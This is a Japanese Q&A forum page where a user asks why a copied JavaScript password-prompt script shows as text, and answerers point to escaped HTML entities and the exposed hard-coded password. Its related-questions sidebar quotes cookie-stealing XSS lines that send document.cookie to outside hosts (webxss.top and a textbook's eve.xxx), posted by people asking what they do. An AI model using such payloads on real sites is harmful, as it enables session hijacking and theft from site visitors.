• 締切済み

html記述ミス？？

1730808の投稿の質問です。 <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=shift_jis"> <meta name="GENERATOR" content="Microsoft FrontPage 4.0"> <meta name="ProgId" content="FrontPage.Editor.Document"> <title>新しいページ 1</title> </head> <body> <DL> <DT>&lt;SCRIPT Language="JavaScript"&gt; <DT>&lt;!--<!-- <DD>document.cookie=document.cookie+" ; expires=1-Jan-1997 00:00:00 GMT"; --> <DD>result=prompt("パスワードを入れて下さい",""); <DD>if(result != "<FONT color=red>password</FONT>") <DD>{ <DL> <DD>alert("パスワードが違います！") <DD>location.href="http://www.google.co.jp"; </DD></DL> <DD>} <DD>else <DD>{ <DL> <DD>F=new Date(); <DD>S=F.getTime(); <DD>document.cookie="&amp;chk="+S+"&amp;end"; <DD>location.href="secret.htm";</DD></DL> <DD>} <DT>//--&gt; <DT>&lt;/SCRIPT&gt;</DT></DL> </body> </html> 以下の記述を17308に投稿したサイトからコピーしたのですが、間違っているのかスクリプトがそのままＵＰされてしまいます。 改善点等ございましたらご教授お願いいたします。

みんなの回答

回答No.9

htmlなどの言語において半角の「＜」や「＞」は特別な意味を持っていますから、htmlソース中ではそのまま使用できないのです。（使用するとタグ扱いになってしまうからです） 質問者さんがコピペしたソースでは「＆ｌｔ；」と「＆ｇｔ；」「＆ａｍｐ；」がそのまま見えていますが、意味を理解した上でそう書いたのですか？ 「＆ｌｔ；」を半角の「＜」に 「＆ｇｔ；」を半角の「＞」に 「＆ａｍｐ；」を半角の「＆」に それぞれ書き換えて拡張子を「htm」か「html」で保存すれば動くでしょう。 （事実置換したら動きましたし） P.S.読みにくいかも知れませんが「」内はあえて全角で書きました。ソース上ではもちろん半角ですよ。

  • rubyeye
  • ベストアンサー率47% (395/825)
回答No.8

FrontPage2000を基準に説明しますと、おそらく、コピペした先が、標準というタブのページにしてしまったがゆえのミスだと思います。 HTMLのタブを押して表示させたページにコピペすれば、ちゃんとなるはずです。 それでなければ、メモ帳やフリー配布ソフトのTeraPadのようなテキストエディタにコピペして、htmlの拡張子をつけて保存してあげましょう。

  • gura_
  • ベストアンサー率44% (749/1683)
回答No.7

　おやりになりたいのは、下記のようなリストだと思います。↓ <html><head> <meta http-equiv="Content-Type" content="text/html; charset=shift_jis"> <title>goo 1739881 & 1739808</title> </head> <body> <SCRIPT Language="JavaScript"> <!-- result=prompt("パスワードを入れて下さい",""); if(result != "password") { alert("パスワードが違います！"); location.href="http://www.google.co.jp"; } else { F=new Date(); S=F.getTime(); document.cookie="&chk="+S+"&end"; location.href="secret.htm"; } //--> </SCRIPT> </body> </html> 　ただこのリストは、#5さんが仰るように、少し知識のある人には、ソースリストが見られてしまい、パスワードは分かってしまいます。 　下記のサイトの方法のほうがまだましでしょう↓ http://www.tohoho-web.com/wwwxx007.htm

  • UKY
  • ベストアンサー率50% (604/1207)
回答No.6

HTML のソースとしてコピーしなければいけないのに、ブラウザに実際に表示される内容としてコピーするという根本的な過ちを犯しています。 HTML 編集ソフトの使用方法をよく確認し、表示内容としてではなく HTML ソースとしてコピーしましょう。

  • natatin
  • ベストアンサー率50% (1322/2599)
回答No.5

<BODY>～</BODY>にJavaScriptを貼り付けるだけでいいんですが！ ソースにパスワードを記入してあるので　パスワードはバレバレですね！

sakuragishin
質問者

補足

アップすると、そのまま表示される(html言語)のでミスを感じ、投稿しました。

  • rubyeye
  • ベストアンサー率47% (395/825)
回答No.4

＃1です。 ちょっと間違えました。 <html>～</html>内で充分動きます。スミマセン。 11行目に「＜--」が2重にかかっているのと、Scriptの途中で「--＞」で閉じているのと「＜」の文字化けが原因だと思います。

回答No.3

&amp;も&に直す必要があるようですね。

回答No.2

<DL></DL><DD></DD><DT></DT>を削除して下さい。 &lt;を<に、&gt;を>に変更して下さい。 実際に直して動かしていないので、 他にも間違いがあるかは分かりません。

  • rubyeye
  • ベストアンサー率47% (395/825)
回答No.1

<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=shift_jis"> <meta name="GENERATOR" content="Microsoft FrontPage 4.0"> <meta name="ProgId" content="FrontPage.Editor.Document"> <title>新しいページ 1</title> <SCRIPT Language="JavaScript"> <!-- document.cookie=document.cookie+" ; expires=1-Jan-1997 00:00:00 GMT"; result=prompt("パスワードを入れて下さい",""); if(result != "<FONT color=red>password</FONT>") { alert("パスワードが違います！") location.href="http://www.google.co.jp"; } else { F=new Date(); S=F.getTime(); document.cookie="&amp;chk="+S+"&amp;end"; location.href="secret.htm"; } // --> </SCRIPT> </head> <body> </body> </html> 動作確認済み Java SCRIPTは、<head>～</head>の中に入れなくてはなりません。 なんか、<DD>や<DT>など余分なタグが一杯ありますね。

sakuragishin
質問者

補足

<html>～</html>までをコピーペーストして上書き保存し、ファイルを閲覧するとhtmlソースが完全に表示されるようになりました。 ＪＡＶＡ関係無効等にはしていないことを確認しました。

  1. カテゴリ
  2. パソコン・スマートフォン
  3. ソフトウェア
  4. ホームページ作成ソフト

関連するQ&A

  • 複数の<option>と一致するものを表示するには

    サンプルで作ったコードは、 <select name="select1">の<option>、 <select name="select2">の<option>、 <select name="select3">の<option>で選び、その下にあるボタンを押すと、 <div class="sample_in">の<dd>タグ内と上記３つの項目に一致するにものだけを表示させたい と考え下記コードを作りました。しかし、select1とselect2は処理が行われません。 select3のみが処理されてしまいます。例えば・・・ 「1組,男子,おとなしい」を選んだ場合、サンプルでは一致するものは１つしかないので その親である<div class="sample_in">のみを表示させたいですが、 2組、女子でも表示の対象になり、一致するものが２つになってしまいます。 解決に役立つ様なプロパティやメソッドはないでしょうか。ヒントだけでもお願いします。 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitio … <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="ja" lang="ja"> <head> <meta http-equiv="Content-Type" content="text/html; charset=Shift_JIS" /> <meta http-equiv="Content-Style-Type" content="text/css" /> <meta http-equiv="Content-Script-Type" content="text/javascript" /> <title>サンプル</title> <style type="text/css"> #mainBox { width: 300px; border: 3px solid black; padding: 10px; } .sample_in { width: 250px; border: 1px solid SteelBlue; padding: 10px; margin: 20px; } .sample_in dt { color: Magenta; } </style> </head> <body> <form name="myForm" action="#"> <select name="select1"> <option value="指定なし" selected="selected">指定なし</option> <option value="1組">1組</option> <option value="2組">2組</option> <option value="3組">3組</option> </select> <select name="select2"> <option value="指定なし" selected="selected">指定なし</option> <option value="男子">男子</option> <option value="女子">女子</option> </select> <select name="select3"> <option value="指定なし" selected="selected">指定なし</option> <option value="おとなしい">おとなしい</option> <option value="活発">活発</option> <option value="普通">普通</option> </select> <input type="button" value="OK" onclick="test0()"> </form> <div id="sample"> <div class="sample_in"> <dl><dt>組名</dt><dd>2組</dd></dl> <dl><dt>性別</dt><dd>女子</dd></dl> <dl><dt>性格</dt><dd>おとなしい</dd></dl> </div> <div class="sample_in"> <dl><dt>組名</dt><dd>1組</dd></dl> <dl><dt>性別</dt><dd>女子</dd></dl> <dl><dt>性格</dt><dd>普通</dd></dl> </div> <div class="sample_in"> <dl><dt>組名</dt><dd>1組</dd></dl> <dl><dt>性別</dt><dd>男子</dd></dl> <dl><dt>性格</dt><dd>おとなしい</dd></dl> </div> <div class="sample_in"> <dl><dt>組名</dt><dd>2組</dd></dl> <dl><dt>性別</dt><dd>女子</dd></dl> <dl><dt>性格</dt><dd>活発</dd></dl> </div> <div class="sample_in"> <dl><dt>組名</dt><dd>2組</dd></dl> <dl><dt>性別</dt><dd>男子</dd></dl> <dl><dt>性格</dt><dd>活発</dd></dl> </div> <div class="sample_in"> <dl><dt>組名</dt><dd>1組</dd></dl> <dl><dt>性別</dt><dd>男子</dd></dl> <dl><dt>性格</dt><dd>普通</dd></dl> </div> </div> <script type="text/javascript"> function test0() { var div1 = document.getElementById('sample'); var div2 = div1.children; var index1 = document.myForm.select1.selectedIndex; var index2 = document.myForm.select2.selectedIndex; var index3 = document.myForm.select3.selectedIndex; var str1 = document.myForm.select1.options[index1].text; var str2 = document.myForm.select2.options[index2].text; var str3 = document.myForm.select3.options[index3].text; var ary = [str1, str2, str3]; for(m=0; m<ary.length; m++){ for(i=0, len1=div2.length; i<len1; i++){ var dd = div2[i].getElementsByTagName("dd"); for(j=0, len2=dd.length; j<len2; j++){ var ddText = dd[j].textContent; if( ary[m] == ddText ){ dd[j].parentNode.parentNode.style.display = ''; break; }else{ dd[j].parentNode.parentNode.style.display = 'none'; } } } } alert("エラーなし"); //動作確認用 } </script></body></html>

  • javascriptに関する質問です

    javascriptに関する質問です タグの"<",">"を入力したら"&t","&gt"に置き換えまた（ダブルオークション）を入力したら&qut ""また(空白）を入力したら&mbsp;また"&"を入力したら&ampに置き換えるjavascriptを作りたいのですがいまいちどう作ればいいのか方向が分かりませんどなたかご教授ください 個人としてはremoveTagを使い変更したいですがなかなかうまくいきません どなたかご教授ください !DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html;charset=Shift_JIS"> <meta http-equiv="Content-Script-Type" content="text/javascript"> <title>タグを置き換える</title> <script language="JavaScript" type="text/javascript"> <!-- function removeTag() { var str = document.myForm.before.value; var newStr = str.replace(/&/g,'&amp;').replace(/</g,'&lt;').replace(/>/g,'&gt;').replace(/"/g,'&quot;').replace(/\s/g,'&nbsp;'); document.myForm.after.value = newStr }

  • cssを用いる表の作り方

    いつもいつもお世話になっております。 cssを用いた表の作り方で迷っています。 dl,dt,ddを使う方法、divのみを使う方法を試しましたが、納得のいく見栄えになりません。 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <title>てすと</title> <meta http-equiv="content-type" content="text/html; charset=shift-jis"> <meta http-equiv="imagetoolbar" content="no"> <meta http-equiv="Content-Style-Type" content="text/css"> <style type="text/css"> </style> </head> <body> <dl id="sample3"> <dt>施設名</dt> <dd>あああああああああああああああ</dd> <dt>所在地</dt> <dd>いいいいいいいいいいいいいいいいいいいいいいい</dd> <dt>職員体制</dt> <dd>うううううううううううううううううううううううううううううううううううううううううううううううううううううううううううううううう</dd> <dt>アクセス</dt> <dd> <ul> <li>・えええええええええええええええええええええええええ</li> <li>・おおおおおおおおおおおおおおおおおおおおおおおおお</li> <li>・かかかかかかかかかかかかかかかかかかかかかかかかか</li> </ul> </dd> <dt>総居室数</dt> <dd>３室</dd> <dt>居室面積</dt> <dd>２０平米</dd> <dt>電話番号</dt> <dd>12-3456-7890</dd> <dt>FAX番号</dt> <dd>12-3456-7890</dd> </dl> </body> </html> dl#sample3 { width: 600px; } dl#sample3 dt{ border-top: 1px solid #fff; float: left; width: 6em; padding: 10px; background-color: orange; } dl#sample3 dd{ border-left: 1px solid #fff; border-top: 1px solid #fff; margin-left: 115px; padding: 10px; background-color: silver; } ul { list-style-type: none; margin: 0 auto; padding: 0; } 各セルに色をつけたいのですが、説明が２行以上に渡ると項目名が対応されないのと、 "電話番号""FAX番号"のような説明が短いセルは幅を短くして、横に並べることが出来ないところで悩んでいます。 もちろん、それらのセルを別classにすれば対応可能ではありますが、テンプレートとして使用する必要があるため、汎用性の高い構成にする必要があるのです。 ご存知の方、どうぞどうぞご教示お願いいたします。

    • ベストアンサー
    • CSS
  • コードの意味がわからないです。

    下記コードの意味を教えていただけないでしょうか？あるセキュリティ対策本のサンプルコードです。 特に不明なのが『.jsp?c='+escape(document.cookie)」のところです。 よろしくお願いします。 <script>document.location.href='http://www.eve.xxx/log.jsp?c='+escape(document.cookie)</script>

  • アダルトのウエブサイトが出てきます.

    インターネットにつなぐと自動的につながり,アダルトサイトが出てきます.何かの拍子に出ると思いますが,その解除の仕方を教えてください.そのソースはつぎのようなものです.(<html> <head> <meta http-equiv="content-type" content="text/html; charset=shift-jis"> <title>---------------------------------------------------------------------------------------------------</title> <script src="http://www.click-monkey.com/cm/**.**"></script> </head> <body oncontextmenu="return false"> <SCRIPT LANGUAGE="Javascript">var sPin = '';if (window.location.href.indexOf("?") != -1)sPin = document.location.href.substr(document.location.href.indexOf("?"));document.write('<img src="http://***.***.**.**/counter.dyn?vendor=jptk&pin='+sPin+'" width="1" height="1" border="0">');</SCRIPT> <script> var Win=window.open("","_blank","width=1000,height=650,status=yes,scrollbars=yes,directories=no,menubar=yes,resizable=no,toolbar=yes,location=yes"); Win.moveTo(-5,-30); Win.location.href="http://***.****.com/1/index2.php?id=2-1-1-6"; </script> <script> var ti_id=setTimeout("next_ac('http://***.****.com/1/index2.php?id=2-1-1-6')",10000); </script> </body> </html>) 私はどのようなものかわかりませんが・…教えていただきたく思います.

  • 掲示板に投稿されたスクリプトについて

    <script src=http://t.cn/RKELMFa></script> と言うスクリプトが投稿されて内容を確認すると、 (function(){(new Image()).src='http://webxss.top/xss/index.php?do=api&id=UbW8hC&location='+escape((function(){try{return document.location.href}catch(e){return ''}})())+'&toplocation='+escape((function(){try{return top.location.href}catch(e){return ''}})())+'&cookie='+escape((function(){try{return document.cookie}catch(e){return ''}})())+'&opener='+escape((function(){try{return (window.opener && window.opener.location.href)?window.opener.location.href:''}catch(e){return ''}})());})(); if('1'==1){keep=new Image();keep.src='http://webxss.top/xss/index.php?do=keepsession&id=UbW8hC&url='+escape(document.location)+'&cookie='+escape(document.cookie)}; と言う内容でした。 これって何か問題ありますか？ 気が付くまでに2か月位放置されていました。

  • 関数内でonclickし、必要部分を表示させたい

    Q&Aサイトを作成しており、自己解決できない問題に直面し、大変困っております。 ＜理想の動作＞ 答え1の「こちら」をクリックしたら、「100.質問」がクリックされた状態にし、 答え2の部分を表示させるようにしたいのです。 答え1の「こちら」をクリックしたら、答え2の部分を表示させるようにアンカーを 設定しているつもりですが、うまく飛びません。 記述方法を検索して、色々試したのですが、なかなか自己解決できません。 ヒントでも構いませんので、どのように記述すればいいのか教えて頂けませんか？ よろしくお願いいたします。 <script type="text/javascript"> <!-- function Aanswer(n) { var target = document.getElementById('answerbox'+n); if( target.style.display != "block" ) { target.style.display = "block"; } else { target.style.display = "none"; } } function myLink01() { location.href = "test.html#show02"; } // --> </script> <title>TEST</title> </head> <body> <dl> <dt onclick="Aanswer(1)">1. 質問</dt> <dd id="answerbox1" onclick="Aanswer(1)">答え1<br /><a href="javascript:myLink01()">こちら</a>を参照してください。</dd> </dl> <dl> <dt onclick="Aanswer(2)">100. 質問</dt> <dd id="answerbox2" onclick="Aanswer(2)"><a name="show02">答え100</a></dd> </dl> </body> </html>

  • jQuery　読み込んだ外部htmlファイル内での関数の実行ができない

    jQuery　読み込んだ外部htmlファイル内での関数の実行ができない お世話になります。 iwatuturuturu と申します。 jQueryで読み込んだ外部htmlファイル内での関数の実行ができません。 ［index.html］にてjQueryのloadを使用し、同じ階層内の［basic.html］のファイルを読み込んでいます。 slideToggleをしようしてアコーディオンをつけたいのですが、外部htmlの［basic.html］のアコーディオンみ動きません。 【ソース［index.html］】------------------------------------------------------------ <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <script type="text/javascript" src="../js/jquery.js"></script> <script> $(function(){ //外部ファイルの読み込み $("#basic").load("basic.html"); // アコーディオン $('dt').click(function(){ $(this).next().slideToggle('slow'); }); }); </script> </head> <body> <dl class="accordion"> <dt>アコーディオン</dt> <dd>ここの表示非表示が切り替わる</dd> </dl> <div id="basic"></div> </body> </html> 【ソース［basic.html］】------------------------------------------------------------ <div style="border:1px solid #666666"> <p>読み込み込まれるテキスト</p> <dl class="accordion"> <dt>ここをクリック</dt> <dd>ここの表示非表示が切り替わる</dd> </dl> </div> ------------------------------------------------------------------------------------ もともと外部より読み込まれたファイル内のjavasicriptは実行されない仕様なのでしょうか？ また、他のやり方で同じ動作を実現する方法などありましたらご教授お願い致します。 よろしくお願いいたします。

  • このサンプルコードが実行されない理由はなぜですか？

    セレクト１とセレクト２で絞り込みたいキーワードを指定し <input>の絞込によりstart()を実行させ、 <dd>のテキストに一致するもののみ表示させたく、 そのコードを作ってみましたが、正しく実行されません。 どこをどのようにしたら良いのでしょうか。 <html lang="ja"> <head> <meta http-equiv="Content-Type" content="text/html; charset=Shift_JIS"> <title></title> <style type="text/css"> dl{ overflow:hidden; margin-bottom: 30px; } dd{ float:left; } dt{ float:left; clear:both; color:#f00; } </style> <script type="text/javascript"> function start() { var fs_a = document.myform.sel_a; var fs_b = document.myform.sel_b; var text_a = fs_a.options[fs_a.selectedIndex].text; var text_b = fs_b.options[fs_b.selectedIndex].text; var tag_dd = document.getElementsByTagName('dd'); var tag_dl = document.getElementsByTagName('dl'); for(var i = 0; i<=tag_dd.length; i++){ if(tag_dd.item[i].textContent == ans_a || tag_dd.item[i].innerText == ans_a){ tag_dl.style.display = ''; }else{ tag_dl.style.display = 'none'; } if(tag_dd.item[i].textContent == ans_b || tag_dd.item[i].innerText == ans_b){ tag_dl.style.display = ''; }else{ tag_dl.style.display = 'none'; } } } </script> </head> <body> <form name="myform"> <fieldset> <legend>セレクト１</legend> <select name="sel_a"> <option value="指定なし">指定なし</option> <option value="">あ</option> <option value="">い</option> <option value="">う</option> </select> </fieldset> <fieldset> <legend>セレクト２</legend> <select name="sel_b"> <option value="指定なし">指定なし</option> <option value="">え</option> <option value="">お</option> <option value="">か</option> </select> </fieldset> <input type="button" value="絞込" onclick="start()"> </form> <dl> <dt>セレクト１</dt><dd class="ddc">あ</dd> <dt>セレクト２</dt><dd class="ddc">か</dd> </dl> <dl> <dt>セレクト１</dt><dd class="ddc">い</dd> <dt>セレクト２</dt><dd class="ddc">お</dd> </dl> <dl> <dt>セレクト１</dt><dd class="ddc">う</dd> <dt>セレクト２</dt><dd class="ddc">え</dd> </dl> </body> </html>

  • 角丸教えてください。

    HTMLを勉強しています。 下記にソースに丸みを帯びたセルをつけたいのですが わかりません。 わかりやすくおしえていだけないでしょうか？ よろしくお願いいたします。 HTML <div class="item-group"> <h3><img src="URL" alt="商品別検索" /><p>　</p><td height="400" bgcolor="#c0c0c0"> </h3> <dl> <dt>▼test</dt> <dd><a href="http://URL">・てすと</a></dd> <dd><a href="http://">・★★★</a></dd> <dt>▼test</dt> <dd><a href="http://">・★★★</a></dd> <dd><a href="http://">・★★★</a></dd> <dd><a href="http://">・★★★</a></dd> <dd><a href="http://">・★★★</a></dd> <dt>▼作成中</dt> <dd><a href="http://">・★★★</a></dd> <dd><a href="http://">・★★★</a></dd> <dd><a href="http://">・★★★</a></dd> <dt>▼作成中</dt> <dd><a href="http://">・★★★</a></dd> <dd><a href="http://">・★★★</a></dd> <dd><a href="http://">・★★★</a></dd> <dd><p><a href="http://★★★/">商品一覧</a></p></dd> </dl> </div> になります

    • ベストアンサー
    • HTML

注目のQ&A

カテゴリ

専門家に質問してみよう

職業から探して質問する

あなたにピッタリな商品が見つかる！ OKWAVEセレクト

質問する